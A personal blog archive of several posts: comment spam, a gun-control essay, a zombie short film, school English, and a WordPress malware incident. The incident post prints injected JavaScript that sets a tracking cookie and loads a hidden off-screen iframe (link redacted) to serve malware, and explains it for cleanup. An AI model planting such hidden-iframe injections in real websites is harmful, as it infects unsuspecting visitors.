A Byte of Nonsense

Hey there! What do you think of the new server?
Oh… Well that was clearly worth the hassle.

This weekend I moved the blog to a new home, and while nothing’s changed cosmetically (yet), the new server gives me a bit more control. As you might know, the Ben-A-Ball blog began on Blogger in 2005, moved over to JustHost  in 2011,  and then quickly over to Digital Pacific in the same year after finding that JustHost was doing a shocking job at keeping the site online.

Now the site is with Crucial, a company which was recently purchased by Digital Pacific
Which is one of the reasons I went with them. Digital Pacific are fantastic, so I feel less bad for leaving them since they own the company I’ve moved to. My move wasn’t at all one of anger or disappointment, my move was purely strategic.

Luckily the site moved over without a hitch, less than a minute of downtime. In fact, the only ‘people’ who may have really noticed any disruptions to the “Ben-A-Ball Experience” would be the… spammers, which is what I wanted to touch upon in this post. You wouldn’t know it, but this site actually gets a lot of traffic. The problem is that the traffic it receives is either trying to hack the admin-password through brute-forcing OR posting comments that make absolutely no sense, so they can try to sneak advertising into the comment section. It wasn’t until I started transferring the site over to the new server, that I realised how many spam comments had been picked up by my spam filter…

Most of them are just spamming links to online stores… but I’ve noticed a growing trend that I’m a bit suspicious about:

wholesale jerseys from china

Bills, AFL commissioner, ‘s Davis, took off the gloves as well as the AFL aggressively pursued V. NY CITY POLICE DEPT., ET AL.06M9 LOGUE, GEORGE V COAKLEY, MARTHA, ET AL.06M10 DEGLACE, CARLOS the Memphis team logo is confusing. When teams change logo.

I find sports commentary confusing enough as it is, but this comment, which linked to a website where you can buy, you guessed it, ‘wholesale jerseys from china,’ really takes the mark when it comes failing to communicate in English. You copy that into Google and you’ll be linked to hundreds of other blogs who have been spammed by this ambiguous and incoherent comment.
It’s all over the internet, and predominantly on websites that have nothing to do with sports, or jerseys.

What does it all mean? There are so many questions to ask. Who is Bill? Why did the AFL pursue the New York Police Department? What does ‘ET AL.06M9’ and ‘ET AL.06M10’ mean? Who on Earth is Carlos, and why does he find the Memphis team logo confusing? Or have they recently changed their logo, and now he finds it confusing?

However, the most important question to ask is: What the flying f*#$ does this have to do with wholesale jerseys from china?!

It feels like I’m reading a comment generated by Google’s Dream Machine. My brain is trying to make sense of not only, a mash of completely unrelated sentences, but the logic and mindset that went into concocting it. Why? WHAT PURPOSE DOES IT SERVE? Why would I see a comment like this on a website and think: “YES, Jerseys from China, just what I was looking for.”

Has my blissful sport-free existence resulted in a blindness to the wealthy expanse of the jersey industry?
Are wholesale jerseys some kind of rare commodity that I was unaware of?
Have people found a way to fill their cars up with jerseys instead of petrol?


Regardless… this comment made up 90% of the spam comments in my filter. For whatever reason, someone decided that this was marketing gold, and started spamming every website it could with it. I actually think that the comment is really written the way it is so that the owners of the spam-software can detect how many sites their spam has spread to. It’s complete dribble that no one would ever write, so by searching Google they can find how many successful advertisements have made their way onto the internet. The title of the comments with the link to their site is the only part they care about people reading.

This comment is the same. It doesn’t relate to jerseys at all, it can be found on countless websites and it makes no sense.

cheap nfl jerseys 2013

design company, you need to evaluate your own requirements. You need to find out the aims March 2, 1982. He attended Findlay High School in Findlay, Ohio. Roethlisberger was the captain of detailed controls that would allow me to firewall off this devi

A bunch of sentences, slapped together and posted on as many websites as possible in the hopes that someone is in desperate need of a jersey… Ah, the internet.

Until next time!



The Named Ones

Written in an angered and sleep-deprived state. Don't read if you are offended by the truth.

In Australia there was once a time where you could kill 11 people a second for under $1,000. From newspaper advertisement, to mass murderer. Just a pull of the trigger and a turn of the feet, and that crowded tourist location could become the resting place of more than those who were originally mentioned by its tour guides.

If only all of those people had turned up with their pistols and semi-automatic rifles when visiting Port Arthur with their families. Maybe then Martin wouldn’t have been able to kill as many people as he did, because as every dreaming lunatic would know, they would have been ready to whip out their guns, and start firing back counter-shots with utmost precision.

Everyone’s an ammunitions expert after all.

I can somewhat grasp a vision of this fantasy world they have in mind. As though you’re watching some corny action film filled with good guys and bad guys, heroes and villains. Where every family is ready to have their gun-trained mother or father pull the rifle from their shoulder, (the one they’ve been carrying through all the gift shops, supermarkets and daycare centers) and fire at any potential threat to their wellbeing. Don’t forget that their gun would have to be pre-loaded, because if it wasn’t, they wouldn’t be able to defend themselves if a crazy gunman came out of nowhere. (Unless they’re a family of 12 or more, at least that’d give them a second or two to get their weapon ready.)

Massacres don’t happen because people are unarmed. You are abnormally delusional if you think that the reason so many die from gun violence is because not enough people are holding guns.

In the real world, interacting with people who are ‘out-of-it’ is already a disturbing occurrence. Whether they’re walking along the side of the road drunk, and potentially drugged, or sitting in the pub, swearing their head off at the cashier for refusing to serve them more alcohol. These situations wouldn’t at all be aided by weapons, in any shape or form, instead, this desire to be ‘constantly on alert’ with a firearm is just the foundation of its own paranoia.

Currently, that man would just be escorted from the premises, by nearby security, or police if necessary. It happens every Friday night here in Australia, and in much larger numbers than the one drunk man in my example. Add guns to this situation, and it becomes needlessly endowed with unnecessary friction. Suddenly, we have the potential for life threatening taunts to security guards, opposed to a drunken ‘lemme get another f***kin’ drink.’ Let’s not forget, all-guns are all-good in this hypothetical – these guys could be carrying semiautomatic weapons. Sure, maybe you can’t aim when you’re drunk… but at 700 rounds per minute, you get a bit of leniency in that department.

Perhaps my example comes across as an absurd clasping of straws, but the fact of the matter is – the situations you prepare yourself for, where the murderer enters your house and you’re ready in the dark with a shotgun in hand: they’re not your typical occurrence. You’re preparing for an unlikely event, and in doing so, making such events more likely. It’s circular-reasoning in action.

“I need guns, to protect myself from other people with guns,”

In the same way that illicit drugs are regulated to minimize their impact on society, gun regulation would save lives, despite only making it harder, not impossible, to obtain a gun.
This has already worked already in Australia, and I know, that you’ve heard this a hundred times already if you’re a gun-supporter, and you’re sick of it. But I’m equally sick of hearing the misaligned priorities when yet another report of a massacre hits, and all the pro-gun arguments can spit out is the colossal waste of a human thought:
“If they had guns to defend themselves, this wouldn’t have happened.”

35 lives, 28 lives7 lives. Whatever the statistic.
These were people, and increasingly, children.

It’s still bloody happening, and it’s going to continue to happen if nothing changes.

Often, people trying to refute the success of Australia’s gun regulation will argue that despite the heavy regulation of firearms, hostages were held at gunpoint by a man with an unlicensed shotgun in Sydney late last year. A single event, compared to the months of school massacres coming in the news from abroad? A sign of desperation to confirm a flawed bias.

I said before. Yes, these events happen. Where there’s good, there’s bad.

But adding guns to society just increases the occurrence of these events.

Are there still guns in Australia? Yes.

But, just as with illicit drugs, regulation has minimized the impact they have on society.
When that minimization equates to saving over 30,000 lives a year, I consider that a minimization worth bloody taking.

LONE WALKER – Short Film

The Classy Zombie
Mike’s snarling expression as a Classy Zombie

The first zombie-related video I was going to produce (other than the gameplay videos on Intelligic) was going to be a comedy one. In fact, I had actually started producing this comedy zombie video around the same time I was producing my 2013 short film, Control, but I wasn’t happy with the way it came out in the edit, so I scrapped it and decided to return to it at a later date, perhaps when I had the resources to pull it off properly.

Fast forward to 2014, and that comedy zombie video still hasn’t seen the light of day – but I still really wanted to make a zombie film.
As someone who’s into visual effects, I mainly planned on doing a zombie film for the sole purpose of trying out my zombie effects. I wanted to do some of those typical head-stabbing, knife-jabbing effects that you see in most movies or television serials; the kinds of effects that you look at and think, “I reckon I know how they do that! If only I had some decent footage to mess with.”


In the end, however, my interest for drama overrode that of my visual effects antics, and now I feel as though I need to do ANOTHER zombie film, just to do the effects that had made me interested in doing the film in the first place.

Designed to involve the viewer directly in the unravelling of the narrative, through non-verbal context, LONE WALKER was intended as a backup film for a more ambitious 2014 project. Though ultimately it became my only project, as my more ambitious project requires more time, and possibly even a better film maker. I might have to let time handle it.


I started scripting LONE WALKER in June, with the initial driving concept being that of, “Oooh, I wanna do zombie effects,” and, “What would it be like if you were a zombie?”

As it was intended to be a backup film, it was conceived with a fast-tracked production cycle in mind, resulting in the fact that there’s not a particularly spectacular display of variety as far as location is concerned (at least to someone who knows the area). It’s also why the film bares an unsettling resemblance to Control, with its reflective and metaphorical narration followed by flashbacks time-progressing montages and… who could forget, the bloody surplus of fields and paddocks.

Filming began in July, and consisted of two days, and editing in October, with a ‘final version’ being completed late-October – and then a ‘final final version’ and a ‘final final final version’ (the one that went up on YouTube!) being completed during November. All in all, a 6 month project, balanced with school work, exams, moving house, more exams and the coding of a website for a client – and you have a par-average zombie flick. 😉

If you’re interested in what happened behind the camera, well then, you’re in luck. Because Paul filmed the majority of our behind the scenes shenanigans so that I could gather them all up into this video. I haven’t explained the production process to great lengths in this post – and I can’t imagine myself doing so in the future as a follow-up. So if you want to see more production-related stuff, the behind the scenes video is the way to go. You can blame my lack of desire to write about the production process on my media exam, which asked the same thing… and… man… I don’t wanna.

Free Assets

During the post-production of LONE WALKER (editing) I created a number of custom assets. I’m releasing these assets into the Public Domain for anyone to use on their own projects – so hopefully you can find a use for them! The blood assets were a bit rushed, and in the end – I used them for transitions, and for the lower-thirds in the Behind the Scenes video rather than grungy overlays.

These assets will be available for free to download in a ‘Lone Walker – Stock Pack‘ to be released early next year.


Looking back on it, I do feel that I could have ‘fleshed it out’ far more than I did, but I guess, as Pixar says, “films don’t get finished, they just get released.

Editing alone could continue for an eternity.

I’d like to super-awesome mega-thank everyone that was involved with this project, as it just wouldn’t have been possible without you. Normally, I come up with a strange idea and then try to film it entirely on my own, with the cast and crew being less than the limited bones of a skeleton crew… but thanks to your efforts, and sacrifice of free time, I can now tell that strange idea with a far more convincing presentation.

Enjoy the film, I’ll see you in 2015. =)



Fall in September

If you’re an inhabitant of the Northern Hemisphere, a ‘Fall in September‘ is an entirely normal occurrence. In fact, it’s probably means that my title is incredibly mundane to the majority of my international audience. However, here in Australia, an Autumn in September would be a rather strange climatic event. One that would certainly boost the intrigue of my title on a national level. I think I can live with that.

Then again, perhaps this strange climatic event is why I was caught off-guard when my website was infected with malware last weekend; I didn’t expect a Fall, during Spring.

Just when I thought I already had way too much to do…




Screenshot of the random PHP files scattered throughout the system
Screenshot of malicious PHP files

Last weekend, (coincidentally the beginning of Fall) someone gained access to my site through the use of PHP injection. By exploiting a vulnerability in an old PHP Gallery I installed a number of years ago they were able to create a series of malicious files throughout the website’s filesystem; randomly-named ‘.php’ files that harboured base64 code (usually used by malware to execute commands in a hidden manner).

Then they set up a cron job (an automatic task) to periodically add malicious code to every JavaScript file on the website. For the non-tech-savy, JavaScript is used in a multitude of interactive website elements and controls. The post slider on the front page, the comment section and the ‘lightbox’, used for viewing images when you click on them, are examples of things on my website that use JavaScript. Every single JavaScript file on my site had been injected with code that would secretly open a website off-screen, which I suspect was intended to download malware onto the computers of my website’s visitors. It also installs a tracking cookie with the name ‘lirmanusik.’


– Example of what the malware addresses sort-of looked like

The web addresses that appeared within this code were always changing. It would always follow the same structure, a random sub domain (http://something.), the web address (benaball.com/) and then a random html file at the end (randomfile.html).

What is even more concerning is that the sites that would appear to be legitimate ones. Of the sites that appeared among my Javascript files, one was a Photography site, the other was for Swedish Cuisine, and when I did a Google search for of one of these two sites, Google’s Blacklist indicated that “The site may be hacked.” It could be that my site was among those that came up as a link in someone else’s hacked JavaScript files during the time that my site was compromised. Though I doubt it. As creating sub domain would require DNS access (web-address-stuff), which is much higher than what the intruders of my site would have had.

I am still unsure as to whether the cron-job was responsible for choosing when to regenerate the code and change the address or whether hackers/bots used the Base64 php files control the code externally.




01. /*
02. Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/
03. */
04. function Art_protection() {
05. function setCookie(name, value, expires) {
06. var date = new Date( new Date().getTime() + expires*1000 );
07. document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
08. }
09. function takeOrlondo(name) {
10. var nachos = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" ));
11. return nachos ? decodeURIComponent(nachos[1]) : undefined;
12. }
13. var cookie = takeOrlondo('lirmanusik');
14. if (cookie == undefined) {
15. setCookie('lirmanusik', true, 259200);
16. document.write('{iframe} style="top: -999px; left: -999px; position: absolute;" src="dangerous virus link" width="131" height="131"{/iframe}');
17. }
18. }
19. Art_protection();

The code itself gets into the gritty stuff at line 13; where it creates a variable named ‘cookie,’ and uses the ‘takeOrlondo‘ function on line 9 to find the ‘lirmanusik‘ cookie and it’s value using a comedically-named ‘nachos’ variable along with the ‘RegExp()‘ function on line 10. If the cookie isn’t installed, or has no value, it will return an ‘undefined‘ value. The ‘cookie‘ variable on line 13 is set to the output of ‘takeOrlondo.’ At line 14 the code checks to see what the value of ‘cookie’ is, and if it hasn’t been set, it creates the cookie. On line 15 information is provided to the ‘setCookie‘ function, the name of the cookie, ‘lirmanusik,‘ whether or not it stores data on the computer, true, and when it expires, ‘259200’. This information is then in putted into the ‘setCookie‘ function on line 4, which officially creates the cookie using ‘document.cookie.‘ Even though the expiry date of the cookie may appear large due to all the digits… the cookie in reality expires in about 3 days after the expiry number is converted from Unix time to a time string.

Now that the cookie is set, the ‘document.write‘ function on line 16 gets naughty, using an iframe that is positioned out of view of the web browser (and web readers) a malicious website is loaded. This web address changes constantly, because it is being updated by the cron job I mentioned earlier. I also suspect that the base64 code within the PHP files are being used by hackers to tell my website which dodgy virus link to display next – mainly because my access logs show that people are constantly trying to access those files, even though they’ve been deleted. Chances are it’s not even people doing this, just an automated hacking system designed with “being a prick in” mind.I of course will investigate this reasoning further if time allows.




I was first notified of my website’s new-found malware-spreading hobby by Google, who sent me an email alerting me of the injected code. I immediately closed the site down with a ‘ZOMBIE-STYLE QUARANTINE’ page being shown to all visitors from that point on, and then I dove into discovering how and where the injection occurred.

Among my first attempts to clean the site was to delete the code that was appearing in my JavaScript files, but this code would reappear after a few minutes due to the cron-job. (or the hacker-bots sending commands through the Base64 php files) I then discovered the injected php files after contacting my hosting provider, Digital Pacific (Really fantastic company by the way) who provided me with a list of suspect files. The list is incredibly long.

Combined with my access logs, I could see a timeline of how my site was compromised, and I decided that the most reliable way of fixing my site… was to delete it.

  1. To start with I backed up the entire contents of my site… and then deleted everything. SQL tables, php files, WordPress, the lovely php Gallery that caused all the grief – the lot. My server was clean.
  2. Then I reinstalled WordPress from scratch and made sure it’s SQL settings were different to what they were before, just in case the intruders had been able to access ‘wp-config.php‘ when my site was compromised and read the SQL password that WordPress uses to manage content on the site.
  3. Using the WordPress Codex’s ‘Hardening WordPress’ resource, among others, I went through tightening up security. I also rewrote my ‘.htacess‘ file to make things even more difficult.
  4. I then reinstalled my content, users, posts, pages from the backup I made, and started installing some of the plugins I had before, this time however, carefully checking each one to ensure that the developers were experienced and trustworthy.
  5. Opened the site back up, with a few added security plugins, ready to take on the world.

Other than having a few issues with CloudFlare caching the infected JavaScript files to visitors even after I cleared the cache, everything is working… probably better… than it used to.




  • If you are a regular viewer of Ben-A-Ball, or a visitor that stumbled across the site by accident during the last few weeks, I would recommend that you look for, and delete, the ‘lirmanusik‘ cookie from your browser, and run an anti-virus check.
  • If you use the same password on every website you visit, then you should probably change it on those other sites. Like… right now.
  • If you have your own php-based website, check it. Check it again, and keep checking. Lock that thing down and keep an eye on who accesses it, because all it takes is one file to be exploited for your website to start serving up viruses to it’s readers.




As far as I’m aware. No.

If they did they would only have the email address and encrypted passwords of everyone on the website. The code and logs I’ve seen, (plus the various bots trying to break into my website by entering ‘admin’ as the username… that’s not my username) indicate that no user data was accessed.

However, this is only the code on my website. The websites the iframes were embedding in my site are something I’m not entirely sure about. Even though I did a fair amount of experimentation using VirtualBox visiting my malware-infected website to TRY and get the virus,  I never was able to. I’m not sure what the deal is with the sites there were linking to, but the fact that they are changed regularly would suggest that the sites aren’t online for very long – and perhaps the time span when you can get infected is right at the beginning of the ‘new malware address’ being posted.




All in all, I really wish that the hacking could have happened at a later date when I didn’t have so much on… then again… I guess it ignited some blogging passion if chose to write this post. Far out so many words, I wish my English and Legal essays would flow from my mind this quickly. As a personal post this was very bland, I feel that it’s empty and doesn’t really express my thoughts very well… but hopefully it will prove useful to others that are experiencing the same issues with JavaScript and PHP Injection Hacking on WordPress.

Original image by Giani Pralea

So should I sit back and relax? Job well done? Eh… maybe. I’ll most definitely be keeping a close eye on things from this point onwards. The hackers/bots/people/dogs are still out there, and my logs show them walking around outside, checking every door and window trying to find another weak spot. It’s something I never really paid much attention to before, but since I started writing this post, 30 people/bots have tried logging into the admin panel using my username and 15 people/bots have tried accessing and issuing commands to the php malware files that no longer exist. Countries like the United States, Norway, China, Russia and the United Kingdom keep appearing on my list as the main culprits… but this is based the often unreliable tracing of an IP address location.


Love the internet.




English: Philosophy with handcuffs, expression with a restraining order.

For clarification, by ‘English’ I’m referring to School English, because if there’s one thing I’ve noticed this year doing English as a school subject… it’s that it’s quite flawed in the way it expects you to answer as analytically and as to-the-book as possible… while at the same time asking you to somehow express yourself, without expressing yourself.

Handcuffs by jodylehigh
Handcuffs by jodylehigh

“Ben must have chosen to use a picture of handcuffs to imply a sense of entrapment. The lack of colour describes a lack of joy for his writing when writing at school. The vignette closes in on the center of the picture – suggesting that he wants people to see what’s right in front of them. When metal is cold, it is very rigid – just as Ben stands his ground when he hasn’t warmed up to someone yet.”

“No, I needed a relevant thumbnail.”

I’ve received multiple marks telling me that I need to tone down my use of metaphors, and to calm down on the expansion of my ideas. Even in assignments that are supposed to be ‘Reflective’ pieces. You want me to reflect my thoughts? This is me reflecting my thoughts. How can anyone insist that I’m not following the task correctly if they’re asking me to reflect?

The irony is the hypocrisy that lies within the very essence of the course. Here is some educational organisation telling me that I need to refrain from my philosophical thoughts, in particular, I need to stop expanding the wrong ideas. All the while they follow the same train of thought. I mean for crying out loud, if you can figure out how to devote an ENTIRE YEAR’s worth of secondary education to a single word (“belonging”)… you’re either really good at philosophy, insane or have a fetish for repetition. If you constructed this English course and you’re reading this; don’t worry, it’s a multi-choice infliction. So take your pick, the minimum choice is 3.

Any question that says, “What do you think the author means when…” should be an instant A+ upon answering it. If I’m telling you what I think the author means, then I’m answering the question correctly. Even if it’s something as simple as, “Well, I think the author was just tired and wanted to finish the story, so that’s why the pig’s name is Bore.” That should be correct! But no! It’s not! “Elaborate!”, “Criteria 1”, “Link back to your text.” Why?

I’ve never actually given such an answer before, but I have given a serious ‘what I think’ response and received a whole lot of Criteria-charged flack in return. If you want me to write what you want me to write, then say, “What do we want you to think the author means when…” Much better. Straight to the truth, bypasses the confusion and no identity issues when trying to figure out if a thought is mine, or theirs.

Yes, I get it. This author did a good job on a book, this other author did a good job too. You love these authors and think that they’re trying to tell us all a deep message and that they’re all linked together in perfect harmony. Well, hate to break it to you… but often the deep messages you think you see are total bull excrement.

All the connections we’re making with the stuff we’re watching and reading – hardly any of it is intended. It’s the way humans work. When we look at things for too long, we end up seeing things that aren’t there. We go pedantic with all these tiny little ideas. It’s the same thing as when you’ve packed your bags to go on a camping trip and you think that you’ve forgotten something. The more you think about it, the more you begin to worry and question your own actions. “Did I shut the back door? Did I lock it?”

School-taught English in a nutshell.

For your entertainment, I’ve written a mark for this blog post based on actual marks I’ve received. I don’t mean to offend my teacher – obviously they have to mark to the criteria that’s given to them. They’ve told me they enjoy my writing, but they can’t mark it higher based on the ‘students must think like this’ system the education department have in place. 😉


“This reflection should be your own, don’t use ‘we’ , ‘your’, ‘you’re’ – don’t ask rhetorical questions of your reader.”

“Keep the balance. An abundance of original ideas.”

“Refer more specifically to ideas that require judicious evidence.”

“Write in first person.”

“Only use italics for a publication.”

“Elaborate on why you don’t like reflecting.”


Ben Screen of Death

Ben Screen of Death

I could be dead. Or at least that’s what some of my YouTube subscribers have suggested in my absence. A video showing how busy I am would merely be procrastination… this post for example is bordering on that very line of motivation…

But no, I’m not dead as of yet, though I don’t deny that I am most certainly heading in the general direction of death. It’s the kind of thing you sorta can’t avoid once you come across it on life’s road.

The real reason for my disappearance from the internet has been a particularly disliked, but required, ToDo list. On it are many tasks with a varied array of interest.  Unfortunately, interest doesn’t always overcome the necessity of a due date… otherwise this ToDo list would be a little more fun.  I’d love to be doing the ‘Design Graphics for Client‘ or ‘Play the Walking Dead by Telltale‘ tasks, but unfortunately all the tasks that are due earliest are the ones involving large word counts and overly-overdone (because just overdone isn’t enough) topics.

For some reason the people in charge of English education in our country have the idea that ‘belonging‘ is a topic worthy of an annum of revision. Something to refresh the mind every now and then would be lovely, but instead, we’re being fed the poorly ‘intended-to-be-subliminal-message’ that our generation needs to get more in touch with who we are on a consistently regular basis.

I could elaborate more on this… but I’m running out of brain at the moment, so I’d better get going. It’s going to take a while for me to process this list.

Yours Truly,

Ben (Not Dead)

(P.S. I mentioned that I’m ‘Not Dead’ – however, given the longevity of the internet, it’s highly possible that I could in fact be dead by the time you read this. Any time after the year 2076 is a safe bet. In which case, forget my previous remark of not being dead. I’m clearly a liar.)